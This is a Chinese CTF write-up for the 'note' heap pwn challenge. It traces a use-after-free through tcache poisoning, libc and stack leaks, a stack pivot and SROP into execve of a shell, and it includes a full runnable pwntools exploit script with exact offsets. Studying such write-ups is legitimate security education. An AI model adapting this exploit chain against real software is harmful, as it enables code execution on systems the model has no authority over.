数字中国创新大赛网络安全子赛道个人赛-PWN

admin 2026-04-13 02:31:07 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析一道CTFPWN题《note》,其核心漏洞为UAF,利用链涉及tcachepoisoning泄露堆地址、unsortedbin泄露libc/PIE基址、通过__environ定位栈地址并迁移至堆,最终采用SROP而非传统ROP稳定执行execve(‘/bin/sh’)。文章强调在现代保护机制下,选择SROP是因需精确设置多参数syscall且gadget依赖少、稳定性高。 综合评分: 88 文章分类: CTF,二进制安全,漏洞分析,实战经验,渗透测试


cover_image

数字中国创新大赛网络安全子赛道个人赛-PWN

原创

wallkone wallkone

星络安全实验室

2026年4月12日 12:20 四川

在小说阅读器读本章

去阅读

一道 UAF 堆题,最后为什么会收束到 SROP

有些 pwn 题,难点在找漏洞。 还有一些题,漏洞其实并不难找,真正折磨人的是:最后到底该怎么把利用链收住。

这道 note 就很典型。

表面上,它只是一个再普通不过的 note 管理器:支持创建、修改、释放、读取;菜单逻辑很朴素,索引范围也有限制,看起来不像那种“一眼秒”的题。 但真做起来你会发现,它的难点根本不在前半段,而是在你已经拿到 UAF 之后,面对现代 glibc 和一整套保护时,如何把能力一步步扩展,最后稳稳落到代码执行。

这道题最终的利用链不是常见的 hook,也不是一条传统 ret2libc,而是:


UAF -> tcache poisoning -> libc leak -> __environ leak stack -> leave; ret -> SROP -> execve(“/bin/sh”,”-c”,cmd,NULL)


真正有意思的,也正是为什么最后要走到 SROP


题目信息

  • 题目:note
  • 附件:notelibc.so.6ld-linux-x86-64.so.2
  • 远程:pwn-ca7c2b9b90.adworld.xctf.org.cn:9999ssl=True
  • 最终 flag:

一、程序逻辑很简单,漏洞也不藏

先看主逻辑。把 IDA 里核心流程拉出来,大概就是这样:

while (1) {    menu();    chr = get_int();    puts("enter index:");    idx = get_int();    while (idx > 0xF) { ... }    note_ptr = &notes[idx];    if (chr == 3) {        if (n_reads > 0) {            write(1, *note_ptr, 0x18);            --n_reads;        }    } else if (chr == 2) {        if (n_frees > 0) {            free(*note_ptr);            --n_frees;        }    } else if (chr == 1) {        if (n_updates > 0) {            read(0, *note_ptr, 0x18);            --n_updates;        }    } else if (chr == 0) {        if (n_allocs > 0) {            *note_ptr = malloc(0x18);            --n_allocs;        }    } else {        break;    }}

看起来没什么花样,但这里有两个关键点:

第一,free(*note_ptr) 之后,并没有把 notes[idx] 置空。 第二,后续的 read 和 update 仍然是直接对 *note_ptr 操作。

这意味着什么?

意味着一个已经被释放的 chunk,仍然可以继续被读、被写。 也就是说,这题的核心漏洞非常明确,就是一个 UAF(Use After Free)

所以前半段其实不难:漏洞点很好定位,甚至称得上直给。


二、真正麻烦的,不是 UAF,而是利用环境

这题的保护开得比较齐:

  • PIE
  • NX
  • Canary
  • Full RELRO

这几个保护叠起来以后,传统路线会被压缩得很厉害:

  • 不能直接走 GOT 覆写;
  • 不能指望简单的栈溢出覆盖返回地址;
  • 一些老思路里的 libc hook,在这份 glibc 2.43 环境里也并不顺手。

所以这题不是那种“拿到 UAF 就收工”的题。 真正的问题其实变成了三件事:

  1. 怎么稳定泄漏地址;
  2. 怎么把 UAF 发展成真正有意义的任意地址写;
  3. 最后怎么把控制流收束到可执行的利用链上。

这三步,缺一不可。


三、第一步:先从 UAF 拿到 heap 地址

这题的 note chunk 大小固定是 0x18,非常适合从 tcache 入手。

先申请几个 chunk,再释放两个:

foriinrange(3):
create(io, i)

delete(io, 0)
delete(io, 1)
leak=readnote(io, 0)

因为存在 UAF,readnote(0) 其实是在读取一个已经释放的 chunk。 这时读出来的内容里,会带着 tcache 链表指针。

结合 safe-linking 的恢复方式:

a=&nbsp;(u64(leak[:8])&nbsp;<<12)&nbsp;|0x10
heap=a&~0xFFF
ctrl=heap+0x100

这里就把堆基址恢复出来了。

这一步非常关键。因为后面无论是伪造 chunk、构造堆上的控制区,还是最终布置“迁移后的栈”,都得先知道 heap 基址。 没有这一步,后面的所有布局都没有落点。


四、第二步:借 UAF 绕过 double free 检查,进入 tcache poisoning

只拿到 UAF 当然还不够。 想把它真正变成利用能力,核心是要把 tcache 链表改到我们想要的位置。

这里有个很实用的小技巧: 把已释放 chunk 的内容清零,再做第二次 free,就可以绕过 tcache 的 double free 检查。

代码是这样的:

update(io,&nbsp;0,&nbsp;p64(0)&nbsp;*3)
delete(io,&nbsp;0)

这样做之后,tcache poisoning 就进入了可操作阶段。

接下来,通过 UAF 改写已释放 chunk 的 fd,再配合几次分配,就可以把后续申请引导到我们希望命中的位置。 从这一刻开始,这道题就不再只是“读写已释放块”,而是在往“控制分配结果”迈进。


五、第三步:做一次 unsorted leak,把 libc 和 PIE 一起拿下来

这一步,是整条利用链的第一个真正拐点。

很多人拿到 UAF 后,第一反应会去找 hook。 但这题更稳的做法,是先想办法拿到 libc 基址

原因很简单: 后面无论你要找 __environ、要算 gadget、还是要定位 syscall,都得建立在 libc 基址已经明确的前提下。 libc 不稳,后面所有控制流都只是空中楼阁。

这里的做法是通过伪造 chunk 元数据,把块送进 unsorted bin,然后从 fd/bk 指针里把 libc 地址读出来:

leak2=readnote(io,&nbsp;8)
ub=u64(leak2[:8])
libc_base=ub-0x1E7B58
pie_base=libc_base+0x1F3000

这一步很漂亮的地方在于: 不仅拿到了 libc_base,还顺手把 pie_base 一并恢复了。

而这两个地址,后面都要用到:

  • 用 pie_base + notes 去定位全局数组;
  • 用 libc_base + __environ 去拿栈地址;
  • 用 libc_base + gadget 去组织最终执行链。

可以说,这一步以后,整个利用链的地基才真正搭起来。


六、第四步:把分配打到 notes 上,再借 __environ 找栈

前面做 tcache poisoning,真正的目标其实并不是某个 hook。 更高价值的目标,是把 chunk 分配到 notes 数组本身

换句话说,我们希望做到的是: 控制 notes[i] 里保存的指针。

先把分配目标导向 notes

set_head(pie_base+exe.sym["notes"])
create(io,&nbsp;9)

接着,把 notes[0] 改成 __environ

update(io,&nbsp;9,&nbsp;p64(libc_base+libc.sym["__environ"])&nbsp;+p64(heap_rop)&nbsp;+p64(heap_rop+0x18))
envp=u64(readnote(io,&nbsp;0)[:8])

为什么选 __environ

因为它指向的是当前进程栈上的环境变量区域。 只要能泄漏出它的位置,就能反推出当前栈帧附近的地址。

这题里,本地调试后可以确定:

stack_saved_rbp=envp-0x148

这一步的意义非常大。 因为从这里开始,我们就不再是“猜测栈位置”,而是能精准定位main 退出时会使用的 saved rbp 和返回现场。

一旦能稳定命中这里,整个利用思路就彻底变了: 与其继续在堆上找更绕的控制点,不如直接把程序返回时的栈现场接管。


七、第五步:为什么不继续追 hook,而改走栈迁移

做到这里,很多人的直觉还是会回到 hook 路线,尤其会去想:

  • __free_hook
  • __malloc_hook

或者其他类似的老套路。

但这题最容易浪费时间的地方,恰恰就在这里。

因为在 glibc 2.43 这个环境下,常规 hook 路线已经不是一个性价比高的选择。 继续往这条路深挖,很容易陷入“理论上好像能走,实际上怎么都不顺”的调试泥潭。

相比之下,更稳的思路是:

直接改 main 返回时的栈现场,把控制流切到堆上。

做法很直接:

  1. 覆写 saved rbp,让它指向我们提前准备好的堆上区域 heap_rop
  2. 覆写返回地址为一个 leave; ret gadget。

代码如下:

update(io,&nbsp;9, p64(stack_saved_rbp) + p64(heap_rop) + p64(heap_rop +&nbsp;0x18))update(io,&nbsp;0, p64(heap_rop) + p64(leave_ret) + p64(0))

其中:

leave_ret=pie_base+0x1219

当 main 结束,程序执行到 leave; ret 时,栈就会被迁移到我们事先布置好的堆区域。

这一步完成之后,题目本质上已经从“堆利用题”切换成了“如何在堆上组织最终控制流”的题。


八、最后一跳:为什么是 SROP,而不是普通 ROP

这题最值得展开聊的,其实就是最后这一跳。

理论上,栈迁移完成之后,有很多方向可以想:

  • 拼一条普通 ROP,调用 system("/bin/sh")
  • 或者找 pop rdi / pop rsi / pop rdx 等 gadget,凑一个 execve
  • 甚至继续尝试一些更传统的 libc 调用链。

但这题实际打下来会发现: 普通多参数 ROP 在这里并不够稳,尤其远程环境更容易出意外。

问题在于,多参数调用往往意味着:

  • gadget 需求更高;
  • 寄存器状态更难控;
  • 链更长,更脆弱;
  • 远程环境下更容易因为栈布局、对齐或现场差异翻车。

这时候,SROP 的优势就体现出来了。

它的好处非常明确:

  • 依赖 gadget 少;
  • 一次性恢复完整寄存器状态;
  • 特别适合需要精确设置多参数 syscall 的场景。

所以最后的做法是:

  1. 先通过 pop rax ; ret 把 rax 设成 15
  2. 再执行一次 syscall ; ret,触发 rt_sigreturn
  3. 内核从我们伪造的 SigreturnFrame 中恢复所有寄存器;
  4. 直接把现场切成一次完整的 execve("/bin/sh", ["/bin/sh","-c",cmd], NULL)

第一段链很短:

arb_write(heap_rop,&nbsp;p64(heap_rop+0x200)&nbsp;+p64(pop_rax)&nbsp;+p64(15)&nbsp;+p64(syscall))

对应 gadget:

pop_rax=libc_base+0xD47D7
syscall=libc_base+0x93916

接着伪造 SigreturnFrame

frame=SigreturnFrame(arch="amd64")
frame.rax&nbsp;=59
frame.rdi&nbsp;=heap_str
frame.rsi&nbsp;=heap_argv
frame.rdx&nbsp;=0
frame.rsp&nbsp;=heap_rop+0x400
frame.rip&nbsp;=syscall
arb_write(heap_rop+0x20,&nbsp;bytes(frame))

再把参数区布置好:

arb_write(heap_str,&nbsp;b"/bin/sh\x00-c\x00")
arb_write(heap_cmd,&nbsp;cmdline+b"\x00")
arb_write(heap_argv,&nbsp;p64(heap_str)&nbsp;+p64(heap_str+8)&nbsp;+p64(heap_cmd)&nbsp;+p64(0))

最终系统调用的效果就是:

execve("/bin/sh", ["/bin/sh",&nbsp;"-c",&nbsp;cmdline],&nbsp;NULL);

这一步其实就是整道题的“收口时刻”。

前面所有堆操作、地址泄漏、栈定位、栈迁移,最后都是为了把执行流送到这里。 而 SROP 之所以成为最终答案,不是因为它“更炫”,而是因为在这个环境下,它就是更稳、更短、更适合收尾


九、整条利用链真正解决了什么问题

如果把整道题抽象一下,你会发现它不是单纯在考“会不会用 UAF”,而是在考你能不能完成下面这几次思维切换:

1. 从 UAF 走到 tcache poisoning

不是停留在“能读写释放块”这一步,而是继续把能力扩展到“控制分配目标”。

2. 从 heap leak 走到 libc / PIE leak

不是拿到一个堆地址就满足,而是进一步把整个地址空间坐标系建立起来。

3. 从堆利用走到栈控制

不是执着于 hook,而是意识到更优解其实是栈迁移。

4. 从普通 ROP 走到 SROP

不是死磕 gadget,而是在多参数 syscall 场景下,选择更稳定、更现代的收尾方式。

所以这题最精彩的地方,并不在“漏洞在哪里”。 漏洞其实很早就摆在那了。 真正的分水岭,是你能不能在后半段不断放弃“看起来熟悉但不合适”的路线,最后收束到真正稳妥的方法上。


十、关键偏移

这题最终真正用到的关键偏移如下:

libc_base=ub-0x1E7B58
pie_base=libc_base+0x1F3000

stack_saved_rbp=envp-0x148

leave_ret=pie_base+0x1219
pop_rax=libc_base+0xD47D7
syscall=libc_base+0x93916

heap_rop=heap+0x308
heap_str=heap+0x500
heap_cmd=heap+0x510
heap_argv=heap+0x540

这些偏移基本就是整条利用链的骨架。


十一、最终 exp

完整脚本如下,可直接运行:

#!/usr/bin/env python3from&nbsp;pwn&nbsp;import&nbsp;*import&nbsp;re
HERE =&nbsp;"/mnt/h/pwn"BIN =&nbsp;f"{HERE}/note"LD =&nbsp;f"{HERE}/ld-linux-x86-64.so.2"LIBC =&nbsp;f"{HERE}/libc.so.6"
context.binary = exe = ELF(BIN, checksec=False)libc = ELF(LIBC, checksec=False)context.arch =&nbsp;"amd64"context.log_level = args.LOG&nbsp;or&nbsp;"info"context.timeout =&nbsp;1.2
HOST = args.HOST&nbsp;or&nbsp;"pwn-ca7c2b9b90.adworld.xctf.org.cn"PORT =&nbsp;int(args.PORT&nbsp;or&nbsp;9999)SSL =&nbsp;True
PROMPT =&nbsp;b"enter option >"

def&nbsp;start():&nbsp; &nbsp;&nbsp;if&nbsp;args.REMOTE:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;remote(HOST, PORT, ssl=SSL)&nbsp; &nbsp; argv = [LD,&nbsp;"--library-path", HERE, BIN]&nbsp; &nbsp;&nbsp;return&nbsp;process(argv, cwd=HERE, stdin=PIPE, stderr=PIPE)

def&nbsp;do_cmd(io, choice, idx, data=None):&nbsp; &nbsp; io.sendlineafter(PROMPT,&nbsp;str(choice).encode())&nbsp; &nbsp; io.sendlineafter(b"enter index:",&nbsp;str(idx).encode())&nbsp; &nbsp;&nbsp;if&nbsp;data&nbsp;is&nbsp;not&nbsp;None:&nbsp; &nbsp; &nbsp; &nbsp; io.send(data)&nbsp; &nbsp; io.recvuntil(PROMPT)

def&nbsp;create(io, idx):&nbsp; &nbsp; do_cmd(io,&nbsp;0, idx)

def&nbsp;update(io, idx, data):&nbsp; &nbsp; do_cmd(io,&nbsp;1, idx, data)

def&nbsp;delete(io, idx):&nbsp; &nbsp; do_cmd(io,&nbsp;2, idx)

def&nbsp;readnote(io, idx):&nbsp; &nbsp; io.sendlineafter(PROMPT,&nbsp;b"3")&nbsp; &nbsp; io.sendlineafter(b"enter index:",&nbsp;str(idx).encode())&nbsp; &nbsp; io.recvuntil(b"content:\n\n")&nbsp; &nbsp; data = io.recvn(0x18)&nbsp; &nbsp; io.recvuntil(PROMPT)&nbsp; &nbsp;&nbsp;return&nbsp;data

def&nbsp;try_exp(io, cmdline):&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(3):&nbsp; &nbsp; &nbsp; &nbsp; create(io, i)
&nbsp; &nbsp; delete(io,&nbsp;0)&nbsp; &nbsp; delete(io,&nbsp;1)&nbsp; &nbsp; leak = readnote(io,&nbsp;0)&nbsp; &nbsp; a = (u64(leak[:8]) <<&nbsp;12) |&nbsp;0x10&nbsp; &nbsp; heap = a & ~0xFFF&nbsp; &nbsp; ctrl = heap +&nbsp;0x100
&nbsp; &nbsp; update(io,&nbsp;0, p64(0) *&nbsp;3)&nbsp; &nbsp; delete(io,&nbsp;0)
&nbsp; &nbsp; create(io,&nbsp;3)&nbsp; &nbsp; update(io,&nbsp;3, p64((a >>&nbsp;12) ^ ctrl) + p64(0) *&nbsp;2)&nbsp; &nbsp; create(io,&nbsp;4)&nbsp; &nbsp; create(io,&nbsp;5)&nbsp; &nbsp; create(io,&nbsp;6)
&nbsp; &nbsp;&nbsp;def&nbsp;set_head(target):&nbsp; &nbsp; &nbsp; &nbsp; update(io,&nbsp;6, p64(0x0010001000100010) + p64(target) + p64(0))
&nbsp; &nbsp;&nbsp;def&nbsp;seed(idx, target):&nbsp; &nbsp; &nbsp; &nbsp; update(io, idx, p64(0) + p64(0x21) + p64(target >>&nbsp;12))
&nbsp; &nbsp; seed(2, heap +&nbsp;0x60)&nbsp; &nbsp; set_head(heap +&nbsp;0x60)&nbsp; &nbsp; create(io,&nbsp;7)
&nbsp; &nbsp; seed(7, heap +&nbsp;0x70)&nbsp; &nbsp; set_head(heap +&nbsp;0x70)&nbsp; &nbsp; create(io,&nbsp;8)
&nbsp; &nbsp; update(io,&nbsp;7, p64(0) + p64(0xA1) + p64(0))&nbsp; &nbsp; update(io,&nbsp;8, p64(0) *&nbsp;3)&nbsp; &nbsp; update(io,&nbsp;6, p64(0xA0) + p64(0x261) + p64(0))&nbsp; &nbsp; delete(io,&nbsp;8)
&nbsp; &nbsp; leak2 = readnote(io,&nbsp;8)&nbsp; &nbsp; ub = u64(leak2[:8])&nbsp; &nbsp; libc_base = ub -&nbsp;0x1E7B58&nbsp; &nbsp; pie_base = libc_base +&nbsp;0x1F3000
&nbsp; &nbsp; heap_rop = heap +&nbsp;0x308&nbsp; &nbsp; heap_str = heap +&nbsp;0x500&nbsp; &nbsp; heap_cmd = heap +&nbsp;0x510&nbsp; &nbsp; heap_argv = heap +&nbsp;0x540
&nbsp; &nbsp; set_head(pie_base + exe.sym["notes"])&nbsp; &nbsp; create(io,&nbsp;9)
&nbsp; &nbsp; update(io,&nbsp;9, p64(libc_base + libc.sym["__environ"]) + p64(heap_rop) + p64(heap_rop +&nbsp;0x18))&nbsp; &nbsp; envp = u64(readnote(io,&nbsp;0)[:8])&nbsp; &nbsp; stack_saved_rbp = envp -&nbsp;0x148
&nbsp; &nbsp; leave_ret = pie_base +&nbsp;0x1219&nbsp; &nbsp; pop_rax = libc_base +&nbsp;0xD47D7&nbsp; &nbsp; syscall = libc_base +&nbsp;0x93916
&nbsp; &nbsp;&nbsp;def&nbsp;arb_write(addr, data):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;off&nbsp;in&nbsp;range(0,&nbsp;len(data),&nbsp;0x18):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chunk = data[off : off +&nbsp;0x18].ljust(0x18,&nbsp;b"\x00")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; update(io,&nbsp;9, p64(addr + off) + p64(heap_rop) + p64(heap_rop +&nbsp;0x18))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; update(io,&nbsp;0, chunk)
&nbsp; &nbsp; arb_write(heap_rop, p64(heap_rop +&nbsp;0x200) + p64(pop_rax) + p64(15) + p64(syscall))
&nbsp; &nbsp; frame = SigreturnFrame(arch="amd64")&nbsp; &nbsp; frame.rax =&nbsp;59&nbsp; &nbsp; frame.rdi = heap_str&nbsp; &nbsp; frame.rsi = heap_argv&nbsp; &nbsp; frame.rdx =&nbsp;0&nbsp; &nbsp; frame.rsp = heap_rop +&nbsp;0x400&nbsp; &nbsp; frame.rip = syscall&nbsp; &nbsp; arb_write(heap_rop +&nbsp;0x20,&nbsp;bytes(frame))
&nbsp; &nbsp; arb_write(heap_str,&nbsp;b"/bin/sh\x00-c\x00")&nbsp; &nbsp; arb_write(heap_cmd, cmdline +&nbsp;b"\x00")&nbsp; &nbsp; arb_write(heap_argv, p64(heap_str) + p64(heap_str +&nbsp;8) + p64(heap_cmd) + p64(0))
&nbsp; &nbsp; update(io,&nbsp;9, p64(stack_saved_rbp) + p64(heap_rop) + p64(heap_rop +&nbsp;0x18))&nbsp; &nbsp; update(io,&nbsp;0, p64(heap_rop) + p64(leave_ret) + p64(0))
&nbsp; &nbsp; io.sendlineafter(PROMPT,&nbsp;b"4")&nbsp; &nbsp; io.sendlineafter(b"enter index:",&nbsp;b"0")&nbsp; &nbsp;&nbsp;return&nbsp;io.recvrepeat(2.5)

def&nbsp;solve_once(cmdline):&nbsp; &nbsp; io = start()&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; out = try_exp(io, cmdline)&nbsp; &nbsp; &nbsp; &nbsp; status = io.poll(block=False)&nbsp;if&nbsp;hasattr(io,&nbsp;"poll")&nbsp;else&nbsp;None&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;out, status&nbsp; &nbsp;&nbsp;finally:&nbsp; &nbsp; &nbsp; &nbsp; io.close()

def&nbsp;main():&nbsp; &nbsp; remote_cmd = (&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;b"cat /flag /flag.txt /flag* ./flag ./flag.txt ./flag* /home/ctf/flag "&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;b"/home/ctf/flag.txt /home/ctf/flag* 2>/dev/null; echo __END__;"&nbsp; &nbsp; )
&nbsp; &nbsp; out, _ = solve_once(remote_cmd)&nbsp; &nbsp;&nbsp;print(out.decode("latin-1", errors="ignore"))&nbsp; &nbsp; m = re.search(rb"([A-Za-z0-9_]*\{[^}\n]+\})", out)&nbsp; &nbsp;&nbsp;if&nbsp;m:&nbsp; &nbsp; &nbsp; &nbsp; log.success("flag=%s", m.group(1).decode())

if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()

十二、验证结果

本地验证

本地使用同一条链执行:

echo&nbsp;PWNED; id;

返回:

PWNED
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

说明整条链路都是通的:

  • heap leak 正常;

  • unsorted leak 正常;

  • __environ

    泄漏正常;

  • 栈迁移正常;

  • SROP 成功触发 execve

远程验证

执行:

python3 exp.py&nbsp;REMOTE=1

远程成功读到 flag:

flag{}

十三、最后总结

如果只看漏洞本身,这题并不算难。 一个 UAF,很快就能定位出来。

但如果把完整利用过程真正走完,会发现它考的远不止“会不会用 UAF”这么简单,而是:

  1. 能不能从 UAF 稳定过渡到 tcache poisoning;
  2. 能不能在现代 glibc 下及时放弃已经不合适的 hook 思路;
  3. 能不能想到借 __environ 去精准定位栈;
  4. 能不能在最后一步选择更稳的 SROP,而不是继续硬凑普通 ROP。

所以这题最有意思的地方,不是“洞在哪里”,而是:

当你已经有洞了,最后该怎么收。

从这个角度看,它是一道非常典型的现代利用思维题: 漏洞只是起点,真正的分水岭在后半段


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星络安全实验室 wallkone wallkone《数字中国创新大赛网络安全子赛道个人赛-PWN》

评论:0   参与:  0